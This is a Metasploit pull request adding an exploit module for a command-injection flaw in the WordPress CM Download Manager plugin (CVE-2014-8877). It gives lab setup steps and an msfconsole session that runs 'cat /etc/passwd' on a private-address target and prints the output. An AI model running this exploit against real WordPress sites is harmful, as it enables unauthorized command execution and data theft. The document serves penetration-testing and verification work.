rapid7/metasploit-framework — pull request #4477 by mzet- (2014-12-29 17:14:28+00:00)
Title: Add module for Wordpress CM Download Manager plugin (CVE-2014-8877)

## Preparation

- Install latest version of Wordpress on Linux machine
- Get vulnerable version of Wordpress CM Download Manager plugin: `svn co -r 1007950 http://plugins.svn.wordpress.org/cm-download-manager/trunk/ cm-dw-manager`
- Prepare plugin for installation: `find cm-dw-manager/ -type d -name .svn -print0 | xargs -0 rm -rf; zip -r cm-download-manager.zip cm-dw-manager/`
- Upload it to `wp-content/plugins` directory. Unzip. Activate in admin panel.

## Verification

- Run msfconsole
- select, configure & check exploit:
```
msf > use exploits/unix/webapp/wp_cmdownloadmanager_cmdsearch_execmsf exploit(wp_cmdownloadmanager_cmdsearch_exec) > set RHOST 192.168.77.239
RHOST => 192.168.77.239
msf exploit(wp_cmdownloadmanager_cmdsearch_exec) > set TARGETURI /wordpress
TARGETURI => /wordpress
msf exploit(wp_cmdownloadmanager_cmdsearch_exec) > show options

Module options (exploit/unix/webapp/wp_cmdownloadmanager_cmdsearch_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 192.168.77.239 yes The target address
RPORT 80 yes The target port
TARGETURI /wordpress yes The base path to the wordpress application
VHOST no HTTP server virtual host

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(wp_cmdownloadmanager_cmdsearch_exec) > check
[*] 192.168.77.239:80 - The target appears to be vulnerable.
msf exploit(wp_cmdownloadmanager_cmdsearch_exec) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf exploit(wp_cmdownloadmanager_cmdsearch_exec) > set CMD "cat /etc/passwd"
CMD => cat /etc/passwd
```
- Run exploit:
```
msf exploit(wp_cmdownloadmanager_cmdsearch_exec) > exploit

[*] The server returned: 200 OK
[*] Command output from the server:

root:x:0:0:root:/root:/bin/bash
...
```